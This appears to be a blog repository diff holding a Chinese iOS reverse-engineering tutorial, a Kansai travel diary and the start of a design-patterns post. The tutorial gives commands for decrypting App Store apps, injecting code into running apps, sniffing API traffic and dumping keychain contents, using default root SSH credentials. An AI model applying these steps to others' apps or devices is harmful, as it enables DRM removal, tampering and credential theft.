我們先來點有趣的前菜,使用工具搭配越獄手機查看別人APP 是怎麼排版。

查看工具: 一是 老牌 Reveal (功能更完整,需付費約 $60 美金/可試用),二是騰訊 QMUI Team 製作的 lookin 免費開源工具;這邊使用 lookin 作為示範,Reveal 大同小異。

若沒有越獄手機也沒關係,此工具主要是讓你用在開發中的專案上,查看 Debug 排版(取代 Xcode 陽春的 inspector) 平常開發也能用到

唯有要看別人的 APP 需要使用越獄手機。

如果要看自己的專案…

可以選擇使用 CocoaPods 安裝、 斷點插入 (僅支援模擬器)、 手動導入Framework 到專案手動設置 ,四種方法。

將專案 Build + Run 起來之後,就能 在 Lookin 工具上選擇 APP 畫面 -> 查看排版結構

如果要看別人的APP…

Step 1. 在越獄手機上打開「 Cydia 」-> 搜尋「 LookinLoader 」->「 安裝 」-> 回到手機「 設定 」->「 Lookin 」->「 Enabled Applications 」-> 啟用想要查看的 APP

Step 2. 使用傳輸線 將手機連接至 Mac 電腦 -> 打開想要查看的APP -> 回到電腦, 在 Lookin 工具上選擇 APP 畫面 -> 即可 查看排版結構

Lookin 查看排版結構

Facebook 登入畫面排版結構

Facebook 登入畫面排版結構

可在左側欄檢視 View Hierarchy、右側欄對選中的物件進行動態修改。

原本的「建立新帳號」被我改成「哈哈哈」

原本的「建立新帳號」被我改成「哈哈哈」

對物件的修改也會實時的顯示在手機 APP 上,如上圖。

就如同網頁的「F12」開發者工具,所有的修改僅對 View 有效,不會影響實際的資料;主要是拿來 Debug ,當然也可以用來改值、截圖,然後騙朋友 XD

使用 Reveal 工具查看 APP UI 排版結構

雖然 Reveal 需要付費才能使用,但個人還是比較喜歡 Reveal;在結構顯示上資訊更詳細、右方資訊欄位幾乎等同於 XCode 開發環境,想做什麼即時調整都可以,另外也會提示 Constraint Error 對於 UI 排版修正非常有幫助!

這兩個工具在日常開發自己的 APP 上都非常有幫助!

了解完流程環境及有趣的部分之後,就讓我們進入正題吧!

*以下開始都需要越獄手機配合

提取 APP .ipa 檔案 & 砸殼

所有從 App Store 安裝的 APP,其中的 .ipa 檔案都有 FairPlay DRM 保護 ,俗稱加殼保護/相反的去掉保護就叫「砸殼」,所以單純從 App Stroe 提取 .ipa 是沒有意義的,也用不了。

*另一個工具 APP Configurator 2 只能提取有保護的檔案,沒意義就不再贅述,有興趣使用此工具的朋友可以 點此 查看教學。

使用工具+越獄手機提取砸殼之後的原始 .ipa 檔案:

關於工具部分起初我使用的是 Clutch ,但怎麼嘗試都出現 FAILED 查了下專案 issue,發現有很多人有同樣狀況,貌似此工具已經不能在 iOS ≥ 12 使用了、另外還有一個老牌工具 dumpdecrypted ,但我沒有研究。

這邊使用 frida-ios-dump 這個 Python 工具進行動態砸殼,使用起來非常方便!

首先我們先準備 Mac 上的環境:

  1. Mac 本身自帶 Python 2.7 版本,此工具支援 Python 2.X/3.X,所以不用在特別安裝 Python;但我是使用 Python 3.X 進行操作的,如果有遇到 Python 2.X 的問題,不妨嘗試 安裝使用 Python 3 吧!
  2. 安裝 pip ( Python 的套件源管理器)
  3. 使用 pip 安裝 fridasudo pip install frida -upgrade -ignore-installed six (python 2.X) sudo pip3 install frida -upgrade -ignore-installed six (python 3.X)
  4. 在 Terminal 輸入 frida-ps 如果沒錯誤訊息代表安裝成功!
  5. Clone AloneMonkey/frida-ios-dump 這個專案
  6. 進入專案,用文字編輯器打開 dump.py 檔案
  7. 確認 SSH 連線設定部分是否正確 (預設不用特別動) User = ‘root’ Password = ‘alpine’ Host = ‘localhost’ Port = 2222

越獄手機上的環境:

  1. 安裝 Open SSH :Cydia → 搜尋 → Open SSH →安裝
  2. 安裝 Frida 源:Cydia → 來源 → 右上角「編輯」 → 左上角「加入」 → https://build.frida.re
  3. 安裝 Frida:Cydia → 搜尋 → Frida → 依照手機處理器版本安裝對應的工具(EX: 我是 iPhone 6 A11,所以是裝 Frida for pre-A12 devices 這個工具)

環境都弄好之後,開工:

1.將手機使用 USB 連接到電腦

2.在 Mac 上打開一個 Terminal 輸入 iproxy 2222 22 ,啟動 Server。

3.確保手機/電腦處於相同網路環境中(EX: 連同個WiFi)

4.再打開一個 Terminal 輸入 ssh root@127.0.0.1,輸入 SSH 密碼(預設是 alpine )

5.再打開一個 Terminal 進行敲殼命令操作,cd 到 clone 下來的 /frida-ios-dump 目錄下。

輸入 dump.py -l 列出手機中已安裝/正在執行的 APP。

6. 找到要敲殼導出的 APP 名稱 / Bundle ID,輸入:

dump.py APP名稱或BundleID -o 輸出結果的路徑/輸出檔名.ipa

這邊務必指定 輸出結果的路徑/檔名 ,因為預設輸出路徑會在 /opt/dump/frida-ios-dump/ 這邊不想把它搬到 /opt/dump 中,所以要指定輸出路徑避免權限錯誤。

7. 輸出成功後就能取得已敲殼的 .ipa 檔案!

  • 手機必須在解鎖情況下才能使用工具
  • 若出現連線錯誤、reset by peer…等原因,可嘗試拔掉重插 USB 連接、重開 iproxy。

7.將 .ipa 檔直接重新命名成 .zip 檔,然後直接右鍵解壓縮檔

會出現 /Payload/APP名稱.app

有了原始 APP 檔後我們可以…

1. 提取 APP 的資源目錄

在 APP名稱.app 右鍵 → 「Show Package Contents」就能看到 APP 的資源目錄

2. class-dump 出 APP .h頭文件訊息

使用 class-dump 工具導出全 APP (包含 Framework) .h 頭文件訊息 (僅限 Objective-C,若專案為 Swift 則無效)

nygard/class-dump 大大的工具我嘗試失敗,一直 failed;最後還是一樣使用 AloneMonkey / MonkeyDev 大大的工具集中改寫過的 class-dump 工具才成功。

  • 直接從這裡 Download MonkeyDev/bin/class-dump 工具
  • 打開 Terminal 直接使用: ./class-dump -H APP路徑/APP名稱.app -o 匯出的目標路徑

dump 成功之後就能獲取到整個 APP 的 .h 資訊。

4. 最後也是最困難的 — 進行反編譯

可以使用 IDAHopper 反編譯工具進行分析使用,兩款都是收費工具, Hopper 可免費試用(每次 30 分鐘)

我們將取得的 APP名稱.app 檔案直接拉到 Hopper 即可開始進行分析。

不過我也就止步於此了,因為從這開始就要研究機器碼、搭配 class-dump 結果推測方法…等等;需要非常深入的功力才行!

突破反編譯後,可以自行竄改運作重新打包成新的 APP。

圖片取自航海王

圖片取自航海王

逆向工程的其他工具

1. 使用 MITM Proxy 免費工具嗅探 API 網路請求資訊

>>APP有用HTTPS傳輸,但資料還是被偷了。

2.Cycript (搭配越獄手機) 動態分析/注入工具:

  • 在越獄手機上打開「Cydia」-> 搜尋「Cycript」->「安裝」
  • 在電腦打開一個 Terminal 使用 Open SSH 連線至手機, ssh root@手機IP (預設是 alpine )
  • 打開目標 APP (APP 保持在前景)
  • 在 Terminal 輸入 ps -e | grep APP Bundle ID 查找正在運行的 APP Process ID
  • 使用 cycript -p Process ID 注入工具到正在運行的 APP

可使用 Objective-c/Javascript 進行調試控制。

For Example:

1
+2
+
cy# alert = [[UIAlertView alloc] initWithTitle:@"HIHI" message:@"ZhgChg.li" delegate:nil cancelButtonTitle:@"Cancel" otherButtonTitles:nl]
+cy# [alert show]
+

注入一個 UIAlertViewController…

注入一個 UIAlertViewController…

  • chose( ) : 獲取目標
  • UIApp.keyWindow.recursiveDescription( ) .toString( ) : 顯示 view hierarchy 結構資訊
  • new Instance(記憶體位置): 獲取物件
  • exit(0) : 結束

詳細操作可參考 此篇文章

3. Lookin / Reveal 查看 UI 排版工具

前面介紹過,再推一次;在自己的專案日常開發上也非常好用,建議購買使用 Reveal。

4. MonkeyDev 集成工具 ,可透過動態注入竄改 APP 並重新打包成新的 APP

5. ptoomey3 / Keychain-Dumper ,導出 KeyChain 內容

詳細操作請參考 此篇文章 ,不過我沒試成功,看專案 issue 貌似也是在 iOS ≥ 12 之後就失效了。

總結

這個領域是個超級大坑,需要非常多的技術知識基礎才有可能精通;本篇文章只是粗淺了「體驗」了一下逆向工程是什麼感覺,如有不足敬請見諒! 僅供學術研究,勿做壞壞的事 ;個人覺得整個流程工具玩下來蠻有趣的,也對 APP 安全更有點概念!

有任何問題及指教歡迎 與我聯絡

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

iOS 擴大按鈕點擊範圍

iOS HLS Cache 實踐方法探究之旅

diff --git a/posts/76d66c2e34af/index.html b/posts/76d66c2e34af/index.html new file mode 100644 index 000000000..463b2fff2 --- /dev/null +++ b/posts/76d66c2e34af/index.html @@ -0,0 +1 @@ + 遊記 2023 京阪神 8 日自由行 | ZhgChgLi
Home 遊記 2023 京阪神 8 日自由行
Post
Cancel

遊記 2023 京阪神 8 日自由行

[遊記] 2023 京阪神 8 日自由行

2023/05 京都、大阪、神戶 8日自由行紀錄及食住行入境資訊

前言

之前只去過 2019 🇲🇾 Sabah 跟 2018 🇹🇭 Bangkok 兩個東南亞國家並且都是跟團。

很喜歡東南亞萬里無雲的藍空和不受拘束的放縱

很喜歡東南亞萬里無雲的藍空和不受拘束的放縱

ENFP

身為一個熱情衝動、說走就走的 ENFP,此次行程從提議到出發中間只間隔了兩週;起因是友人 黃馨平 剛好有職涯 GAP,他也剛好 ENFP 互補人格 INFJ;我提供熱情方向,他提供細節計畫,一搭一唱下,就臨時起意就出發了。

行前準備

因為一切都很隨性,只安排要去大阪環球,因此先從網路買門票;因為時間太靠近了,什麼都賣完了,只能買普通入場門票。

日本熱門景點、樂園真的都要提早買 Orz ,這次敗在棒球,現場連票都沒有,只能場地一日遊。

其他景點、寺廟、旅程,隨性。

日幣一定要換,大部分的寺廟門票、紀念品、御守跟部分電車(要買有座位的話)只能使用現金。

這次我換 $50,000 日幣,最後還剩 $15,000 上下。

🛫

距離出發時間不到一個月,沒什麼好挑的了,直接上 SkyScanner 找了一個符合我們兩個隨性步調的航班:

桃園 <-> 關西

  • 5/22 長榮 BR 130 13:35 TPE -> KIX 17:15 (實際延誤 1 小時多,18:40 才到日本)
  • 5/29 長榮 BR 177 11:10 KIX -> TPE 13:05

來回: $14,915

好像是去年開始行李托運改成計件+計重,每人限一件 & 23kg 內;其他都要加錢。

因信用卡刷卡買機票會送旅遊保險,因此建議個人分開來買機票,並要查一下銀行信用卡的保險內容,有的簽帳卡可能沒有。

另外也可以自己加保旅遊險(醫療、不便、遺失、意外…)這次保 8 天大概 $1,500。

The Flight Tracker

推薦安裝 The Flight Tracker App 輸入航班資訊就能實時追蹤航班資訊,包含航廈、登機門、行李櫃檯資訊。(有更改他也會通知,不過還是以現場資訊為主)

飛機起飛前幾個小時還可以開啟 iOS Live Activiy 功能實時追蹤

飛機起飛前幾個小時還可以開啟 iOS Live Activiy 功能實時追蹤

📲

網路我是直接上 KKDAY 買 8 天吃到飽的 SIM 卡約 $700;也有 E-SIM 版本,但是我還是習慣抽換實體 SIM 卡,心裡比較保險。

  • 可以把 SIM 卡(含 SIM 卡針)放隨身,飛機安全著陸後在機上就能換成日本 SIM 卡
  • 記得換完後要去設定開漫遊,然後重開機
  • 日本的吃到飽不一定是真的吃到飽,超過某個流量會被降速,詳細可詢問賣家;建議要傳影片或看影片還是要連 Wi-Fi

🚈

電車地鐵或公車都可直接使用 Sucia 西瓜卡;部分超商、購物也可以使用。

iPhone 可以直接去「錢包與 Apple Pay」->「加入卡片」->「交通卡」->「日本」->「Sucia」-> 直接啟用虛擬 Sucia。

但要使用 Master Card 的信用卡進行儲值,我用 Visa 卡都儲值失敗; 建議一定要在台灣就先弄好儲值好,不然去日本發現不能儲值、也收不到簡訊驗證碼,等於直接不能用。

如果不能用 iPhone Sucia 或是 Android;目前日本實體 Sucia 都缺貨,只能買 28 天 Welcome Suica 限時西瓜卡,可以儲值、使用, 但期限過後即失效、也不能退款

Apple Watch 也有 Suica 可以用(與 iPhone 不互通),記得在台灣也先設定好、儲值好。

iPhone 交通卡在感應時不用特別把 Apple Pay 畫面叫出來,只要裝置拿出來就能直接感應(會自己喚醒感應)。

主要是用 Agoda 找距離電車地鐵站近的。

京都 2 晚: 東橫INN京都四條大宮

東橫 INN 是東北亞通的朋友推薦的連鎖飯店體系,CP 值高也不會踩到雷,而且有附日式早餐(飯糰 or 咖哩飯)。

因訂的時間太晚,只剩四條大宮的東橫 INN 還有空房;距離京都車站比較遠,大約 3 公里:

2人共 NT$3,844

大阪 4 晚: APA Hotel Osaka Umeda (大阪梅田)

一樣因為訂的時間太晚,選擇不多;我們選擇距離車站較近但價格較高的另一個連鎖飯店體系 APA;無附早餐,但有游泳池、公眾湯屋…等設備。

從大阪梅田車站出來走路大約 15 分鐘會到:

2人共 NT$21,459

預入境申請 (加速通關)

無需特別申請簽證、無需提供 COVID 疫苗/核酸證明;機票與訂房都完成後,就可以去 Visit Japan 填寫欲入境訊息,到時候下飛機手機連上網路後,就能直接入境,沒預先申請的話只能當場填寫紙卡。

1.註冊: https://www.vjw.digital.go.jp/main/#/vjwpco001 帳號

  • 因密碼規則可能不是平常自己習慣的密碼;因此請牢記,或另外寫下來,避免在日本入境要使用時忘記密碼登不進去

2.選擇「登錄入境、回國預定」

3.輸入入境航班資訊

圖片僅共示意

圖片僅共示意

旅行名稱:自訂,給自己看的

4.輸入在日聯絡處

圖片僅共示意

圖片僅共示意

我是輸入第一天住宿的飯店資訊,用 Google 查英文版的飯店地址、飯店聯絡電話 (應該不用太精確,不要太離譜就好,至少飯店名稱要對)

5.登陸預定

圖片僅共示意

圖片僅共示意

6.選擇「返回入境、回國手續」繼續填寫資料

7.選擇「外國人入境紀錄」

8. 填寫基本資料

入境天數包含到達到離開,一共 8 天。

最後一步完成登錄:

9.再次選擇「返回入境、回國手續」填寫「海關申報準備」

填寫完基本資料後,一路選擇「否」到最後完成登錄:

10.完成

入境時步驟:

  • 連上網路,登入網站
  • 第一步,入境審查,找到「入境審查準備」選擇「顯示 QR 碼」

  • 下拉到網頁底部找到「顯示 QR 碼」

  • 將護照與 QR 碼給簽證官即可 (黃碼)

  • 第二步,領完行李出關,點擊「海關申報 QR 碼」(藍碼)

在自助出關審查機器上,掃描完護照及此 QR 碼,確認完畢即可完成出關入境。

Day 1 出發

登入航空公司網站或 Email 進行線上報到,並可以直接把機票加入 Apple Pay,完全電子化。

A1 台北車站 預辦登機

因為是中午的飛機,早上慢慢出門,9 點到機捷 A1 台北車站辦理預辦登機:

預辦登機 = 在 A1 台北車站 (A13 新北產業園區也有) 就辦好報到+行李安檢+托運行李了;到機場就能直接出境,不用去櫃檯人擠人。

如果是從捷運走過來,記得不要直接下手扶梯到底進機捷,預辦登機在機捷外面。

限制:

  • 只有部分航空公司可以,詳情請參考 官方網站
  • 需當日航班起飛前3小時完成登機手續、行李託運

服務時間:

  • A1 台北車站 06:00~21:30
  • A3 新北產業園區站 09:00~16:00

兩手空空搭機捷去機場 -> 第二航廈

記得先上 機捷官網查詢機場 直達車 班次,比較好控制到機場的實際時間; 務必要搭直達車

等飛機

太早出門+預辦登機,出境後還有快 3 小時才起飛。

中午沒什麼人的機場

中午沒什麼人的機場

吃個林東芳牛肉麵等飛機

吃個林東芳牛肉麵等飛機

居然有興波咖啡!

居然有興波咖啡!

因降落延後導致起飛也跟著延誤了一個多小時

因降落延後導致起飛也跟著延誤了一個多小時

不知道是不是因為預辦登機的關係,候機時地勤有廣播唱名我們去確認人有到,有要登機。

Bye 🇹🇼

Bye 🇹🇼

飛機著陸,換好日本 SIM 卡連上網路之後就可以登入 Vista Japan 完成入境及出關手續。

前往京都

出關西機場後我們就直接搭 JR關空特急HARUKA京都車站 ,大約 1 個半小時,途中只停靠幾站就到了。

建議去售票機買票才會一定有座位。

一出車站就看到標誌性的京都塔

一出車站就看到標誌性的京都塔

再轉搭計程車到飯店(因為有行李箱就不搭公車了,不然有公車會到);加上飛機延誤,第一天到飯店的時候已經晚上 9 點多。

[東橫INN京都四條大宮](https://www.toyoko-inn.com/index.php/china/search/detail/00027/){:target="_blank"}

東橫INN京都四條大宮

飯店櫃檯有一位姊姊會說中文,跟他請教了明日的行程要怎麼去比較順~很親切方便!

東橫INN京都四條大宮

房間很酷,是萬全鏡像的兩個單人間然後打通共用衛浴。

[はなまる串カツ 製作所 大宮店](https://goo.gl/maps/gPPVsxyS7T7ZXFpp9){:target="_blank"}

はなまる串カツ 製作所 大宮店

時間很晚了,飯店東西放完就走出來到附近找吃的,選定了一家炸串店進去。

梅子茶泡飯

梅子茶泡飯

最便宜一串 80 日圓起,新鮮好吃又便宜!意外的驚喜跟喜愛,第二天想再造訪就遇到店休了 QQ

吃完不免俗要去便利店 LAWSON 買宵夜回飯店繼續吃:

醬油炒麵普普,吃起來很膩。

Day 2 (清水寺、金閣寺、京都塔)

一早起床先下樓打包早餐回房間吃:

咖哩飯,吃完有點太 Heavy 還是習慣西式或台式的早餐。

八坂神社

吃飽飯搭公車前往八坂神社:

一路步行前往清水寺

京都的街頭乾淨到可怕,就連路邊水泥墩都不會出現髒髒黑黑的狀況。

從八坂神社往上走到清水寺大約要 1–2 公里多,不過就當看街道風景吧!

八坂塔

八坂塔

中途找了家店喝了冰抹茶跟吃黑糖糰子:

還有好吃的清酒冰淇淋:

清水寺

抵達

太陽很大,人很多

音羽瀑布

音羽瀑布

排隊引用祈求學業、戀愛、健康長壽。

參拜結束下山走回八坂神社,路上隨便吃了個蓋飯跟跟風買杯%咖啡

下午搭公車前往「高雄」…. . (開玩笑的,是金閣寺)

下車後大約走個 15 分鐘即可抵達金閣寺:

金閣寺

回程公車站擠了很多人,腳勤的朋友可以跟我們一樣走到下一個街口搭其他路線公車避開人群,前往京都塔。

京都塔

約莫下午 5:30 抵達京都塔觀景台:

可以鳥望萬里無緣的京都,樓下有酒吧;本來想說先下去休息一下,晚上再上來看夜景,但我們吃飽要上來的時候才發現不能重新入場,要再重買票,所以就放棄了。

補一張出去後從外拍的京都塔夜景。(天氣真的很好)

可愛小物

可愛小物

一樣去超商買個宵夜泡麵回飯店吃。

Day 3 (嵐山、大阪)

第二天就沒吃飯店的早餐了,一早睡飽起來 check-out 寄放行李,出門去嵐山。

吃麥當勞早餐(比台灣便宜 $15 塊)

吃麥當勞早餐(比台灣便宜 $15 塊)

吃完直接走到對面搭車到嵐山

吃完直接走到對面搭車到嵐山

四條大宮就是起站,直接搭到底站嵐山,非常方便而且一定有位子。

嵐山

抵達:

後先往嵐山方向走:

可以體驗坐船看看河景(類似小碧潭?)

體力好可以選擇小小健行登山:

我們跑去登山看猴子跟鳥瞰景觀,從山下到山上大約要 30–45 分鐘,不難走。

真的有猴子

真的有猴子

下山後往回走,路上邊吃了午餐天婦羅蕎麥麵:

點錯,不應該點洞飯,會變成蕎麥麵+天婦羅洞飯。

吃飽後往另一個方向前往「大本山天龍寺」:

大本山天龍寺

從天龍寺後門出來直接去竹林:

人真的很多,拍照要找好角度🥵

由下往上拍也很美。

下山吃冰,準備打道回府

下山吃冰,準備打道回府

順手買了當地產的清酒

順手買了當地產的清酒

回四條大宮去飯店領行李準備前往大阪:

飯店外就是阪急大宮站

飯店外就是阪急大宮站

第一天來這的時候還覺得有點不方便,因為離京都站有距離;但後來才發現其實很讚;在金閣寺、清水寺的中心點,出來就有往嵐山的直達電車,要去大阪也是直接出來搭電車就到了(記得大概一小時)。

大阪初來乍到覺得好容易迷路,出口很多,大阪、梅田其實只的都是同個地點。

抵達 APA 飯店

APA Hotel Osaka Umeda (大阪梅田)

[黃馨平](https://medium.com/u/eac9088ed800){:target="_blank"}

黃馨平

飯店頂樓有免費的露天泳池、飯店內有超商、免費大眾湯屋。

放完行李後出門覓食:

テング酒場 曽根崎 お初天神通り店,五串烤雞肉 日幣385…比台灣便宜啊!

テング酒場 曽根崎 お初天神通り店,五串烤雞肉 日幣385…比台灣便宜啊!

吃飽後在車站附近亂逛

遊樂場有對自己吐槽的白熊!!

遊樂場有對自己吐槽的白熊!!

Day 4 大阪城、鶴橋、任天堂

按照 Google Map 指示,搭電車再走路到大阪城,走路部分一路從車站到護城河再到主城,大概需要走 30 分鐘,有點距離。

大阪城

登頂鳥瞰大阪景觀:

裡面每層都有戰國歷史介紹:

離開大阪城後在附近走了一大圈晃晃兼找吃的。

然後前往市郊鶴橋找一些小店買東西。

鶴橋

在鶴橋走了一大圈,這邊應該是非觀光區,遊客很少;蠻多韓國周邊商店,比較像日本人的韓國城。

單純來找小點買韓國文創小物,後來發現台灣也有賣 - _ -

任天堂

走了一大圈大阪,腳底要不行了;所幸折返回去,回大阪梅田車站時順路去逛了一下任天堂。

大阪任天堂,就在車站旁邊的大丸百貨樓上。

直接失心瘋買爆薩爾達周邊:

每個東西都很有質感,徽章是金屬的,做工很細緻。

Day 5 環球影城

沒買到快速通關、超級瑪利歐世界,也沒有提早起床去排隊;我們走一個佛系隨性路線,10 點多才入園。

入園人數非常多,一入園就趕快在 App 抽看看超級瑪利歐世界門票;還好有大神 黃馨平 ,抽中瑪利歐世界 5 點入場資格。

先去哈利波特主題區晃晃:

奶油啤酒

奶油啤酒

排隊買了奶油啤酒(無酒精、很甜),覺得如果真的要收藏應該要買最貴玻璃的。

下一站侏儸紀公園:

排了遊樂設施,大約要排 45 分鐘;坐第一排。

類似火山歷險,最後會往下衝🥵(我很怕失重感)。

USJ Jussia Park

但還好有玩,後來看新聞,這個設施 6 月開始要重新整理,大概會停個幾年。

玩完接近中午開始亂逛加覓食

裡面的造景很真實,不說還以為在🇺🇸

NO LIMIT! Parade! 遊行

NO LIMIT! Parade featuring Pokémon & Mario Kart First Performance - Universal Studios Japan

耀西!!

耀西!!

初期意外的歡樂有趣,直至今日腦中還有那個旋律!

會有花車(馬力歐、寶可夢、芝麻街…角色)還會有舞者帶動跳,每到一個段落會停下來拉大家一起動起來!所有工作人員包含維護秩序的也會一起跳,帶入感很強!

超級瑪利歐世界

東晃西晃約莫接近五點前往超級瑪利歐世界。

不得不讚嘆這個場景設計,完全把遊戲世界搬到現實,猶如來到世外桃源!!

因為接近閉園時間,就沒有買手錶玩互動場景,只去排了耀西的設施。

每個細節都做得很精緻!

道別

閉園前去拍了一些環球的夜景,很多本來人擠人的地方,都變很好拍了。

尤其是哈利波特主題區,原本魔杖互動的場景都排的很長,閉園前去都沒人,看到一個姊姊一個人玩爽爽每個互動場景XD

最後拍了一下地球,再見環球。

晚上吃了居酒屋,買了日清泡麵回去當宵夜(吃來吃去還是這個好吃)

Day 6 神戶、道頓堀

一早起床搭電車去神戶。

先去逛神戶商店街

嚐嚐有名的神戶牛可樂餅

從商店街一路走到神戶港

走到才發現神戶塔維修中QQ

詳細完工時間不確定

詳細完工時間不確定

再走回程,一路逛逛神戶街道

在神戶找了家咖啡廳休息一下:

草莓巧克力奶昔冰沙,好喝但很甜。

道頓堀

從神戶去道頓堀一代

晚餐去吃有名的 大阪新世界串カツいっとく

吃完開始觀光客行程,拍拍景點、去藥妝店買東西。

格力高

格力高

回來台灣 看 IG 才發現拍錯了 XD,從旁邊百貨進去有更好的取景點。

回飯店繼續吃泡麵喝清酒當宵夜。

味道沒印象

味道沒印象

Day 7 甲子園、難波、藥妝、逛街採購

倒數最後一天回台灣了,純走馬看花行程。

甲子園,打卡失敗

一早臨時起意決定去甲子園看阪神虎棒球比賽,搭乘地鐵到甲子園站。

出站就是甲子園棒球場。

但我們吃了個閉門羹,不像台灣球賽都一定有位子,阪神的比賽賣到 7 月都全部售罄;都要提早就買好,不然只能在球場外面一日遊了。

最後在附近吃個東西買個阪神虎周邊、再去客多美喝個咖啡就離開了。

我一直以為他叫「咖啡所」

我一直以為他叫「咖啡所」

阪神虎貼紙

阪神虎貼紙

難波

離開甲子園後去難波走採購逛街行程。

順便補吃一下路邊的章魚燒跟蟹腳

可能去錯店家,覺得很普。

一路又走回道頓堀一代,往後走到唐吉訶德本店。

唯一本店有摩天輪

唯一本店有摩天輪

逛完傍晚就回大阪,在住的附近找一間居酒屋吃完最後的晚餐。

再看一眼最後的大阪夜景。

Day 8 回程

中午的飛機,一早 7 點就 checkout 準備去關西機場了。

今天開始大阪也變天了,開始陰天下雨,正好符合告別的心情。

最後拍了一張大阪大樓景觀當告別。

本來打算搭電車到關西機場,但要拖著行李上上下下的;前 一天回來的時候特別探了一下搭客運的路線(包含時間跟車站位子) 一早就先去客運看人多不多,所幸排隊的人不多,我們就買了到關西機場的客運車票,舒舒服服的搭客運直達關西機場了。

沿途還能一路欣賞最後的大阪景觀

剛到機場被櫃檯排隊人群嚇到,落落長。

最後發現排錯櫃檯,我們已經線上點一點完成報到,可以直接去排行李托運櫃檯!直接省了快一小時。

其實很想跟排隊的人說,你現在網頁打開點一點領好電子機票,就能去排托運然後出境了。

出境後,關西機場整修中,沒什麼吃的跟店家,最後又買了新世界的豬排咖哩吐司。

候機,回台灣囉。

下午時分安全抵達台灣,回家休息!🇹🇼

戰利品

其實沒買什麼東西,就是看到什麼買什麼;藥妝最後比較下來發現京都車站出來的藥妝店最便宜(大概比大阪便宜 $100-$300 日圓)其中唐吉訶德最貴。

Youtube

Yodobashi 的主題曲真的洗腦,在京都逛完直接被洗腦。

日本免稅規定是要滿 $5,000 日圓憑護照才能免稅,會用塑膠袋封起來,回國才能拆封(以上是回家拍的,在境內拆封如果出境查到可能要補稅,但感覺也沒在查;但如果要合規定記得注意液體只能托運,如果封起來的東西裡面有液體就只能整包托運)。

吃的部分除了有名的零食之外,我比較多找百年老店的地產,不保證好吃但保證百年;大家推薦的零食保證好吃,但保證要排隊+不是百年XD

最後心得還是找好吃的吧!

後記

第一次去日本直接愛上,回來開始查下一次的日本行程。

其實我 6/7–11 就又跑去東京了 😝 遊記下集待續

總體來說,交通方便、安靜、氣侯怡人(五月去體感大約是台灣秋天天氣,晚上會涼)、人與人有邊界感、有禮貌;很喜歡!

消費照目前日幣幣值跟物價,其實比台灣還便宜。。。

住行:

  • 電車、公車比台灣覆蓋率更高更方便;去這麼多天只有第一天去飯店搭過計程車。
  • 承上雖然交通方便,但日本幅員遼闊,大部分時候腳要夠勤,每天都走快 20,000 步
  • 站左站右不一定,在京都站左在大阪又變站右
  • 公車會等人坐好才開、下車會等你起身慢慢下車;所以不需要在還沒到站就開始騷動,日本人也不喜歡這樣
  • 飯店衛浴,都非常乾淨舒服;再小都有浴缸
  • 馬桶幾乎都是免治馬桶,如果是百貨公司的還會有背景水聲(防尷尬)

5/23–5/28 步數巔峰

5/23–5/28 步數巔峰

文化:

  • 市容整潔且一體性很強 (e.g. 門口都長一樣,不會出現有幾戶有鞋櫃有幾戶沒有,有就都有沒有就都沒有)
  • 沒有人邊走邊吃,都是在店門口吃完再走
  • 垃圾只能帶回飯店,路邊很少垃圾桶,因此在門口吃完把垃圾還給店家最方便
  • 店家只收自己店家的垃圾
  • 英文基本上不通,只能用很簡單的跟比手畫腳;或用翻譯溝通;但藥妝店、大型購物中心基本上都有中文店員
  • 買票、收據、找錢、給錢要記得直接放/從盤子拿,不要接觸到店員
  • 避免肢體接觸及靠太近
  • 公共運輸上普遍很安靜,尤其公車
  • 拍照攝影盡量不要對著人拍或拍到人臉,上傳社群應該對人臉打馬賽克
  • 拍廟宇要斜拍,不能正拍
  • 重視細節 SOP,另外感覺要融入日本並不容易
  • 日本人普遍穿著很正式或至少會打扮,女生也都很精緻

另外也不要說別人怎樣,我們在環球影城就遇到台灣(他貼🇹🇼在包包上)類似直銷公司的員工旅遊很大聲的在裡面喊口號拍影片「喊什麼 super 讚,業績直直讚」什麼的;因為人本來就多,還擋在路中間,一群人在那喊口號,沒拍好還一直重複拍重複喊,很丟臉。

回歸到工作、「產品」上

我自己的感覺是如果要攻日本市場,如果單純靠廣告跟市場行銷應該會很困難,頂多打到一些想嚐鮮的人;日本有很強的文化一體性,要想辦法融入他們的生活跟習慣才有機會得到他們的心。

另外就是容錯性很低,例如 Bug、意外出現其他語言;對我們來說可能覺得一兩次還好或至少不要常發生就好;對他們來說我覺得是一次可能就黑掉了,因為這個東西不夠嚴謹、不夠重視他們。

— — —

👑最後附上最 Carry 的旅伴 黃馨平

關西行成功!

關西行成功!

更多遊記

有任何問題及指教歡迎 與我聯絡

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

ZMediumToJekyll

遊記 2023 東京 5 日自由行

diff --git a/posts/78507a8de6a5/index.html b/posts/78507a8de6a5/index.html new file mode 100644 index 000000000..3cb23245c --- /dev/null +++ b/posts/78507a8de6a5/index.html @@ -0,0 +1,1805 @@ + Design Patterns 的實戰應用紀錄 | ZhgChgLi
Home Design Patterns 的實戰應用紀錄
Post
Cancel

Design Patterns 的實戰應用紀錄

Design Patterns 的實戰應用紀錄

封裝 Socket.IO Client Library 需求時遇到的問題場景及解決方法應用到的 Design Patterns

Photo by [Daniel McCullough](https://unsplash.com/@d_mccullough?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"}

Photo by Daniel McCullough

前言

此篇文章是真實的需求開發,所運用到 Design Pattern 解決問題的場景記錄;內容篇幅會涵蓋需求背景、實際遇到的問題場景 (What?)、為何要套用 Pattern 解決問題 (Why?)、實作上如何使用 (How?),建議可以從頭閱讀會比較有連貫性。

本文會介紹四個開發此需求遇到的場景及七個解決此場景的 Design Patterns 應用。

背景

組織架構

敝司於今年拆分出 Feature Teams (multiple) 與 Platform Team;前者不必多說主要負責使用者端需求、Platform Team 這邊則面對的是公司內部的成員,其中一個工作項目就是技術引入、基礎建設及做好系統性整合,為 Feature Teams 開發需求時先鋒鋪好道路。

當前需求

Feature Teams 要將原本的訊息功能 (進頁面打 API 拿訊息資料,要更新最新訊息只能重整) 改為 即時通訊 (能即時收到最新訊息、對傳訊息)。

Platform Team 工作

Platform Team 著重的點不只是當下的即時通訊需求,而是長遠的建設與複用性;評估後 webSocket 雙向通訊的機制在現代 App 中是不可或缺,除了此次的需求之外,以後也有很多機會都會用到,加上人力資源許可,故投入協助設計開發介面。

目標:

  • 封裝 Pinkoi Server Side 與 Socket.IO 通訊、身份驗證邏輯
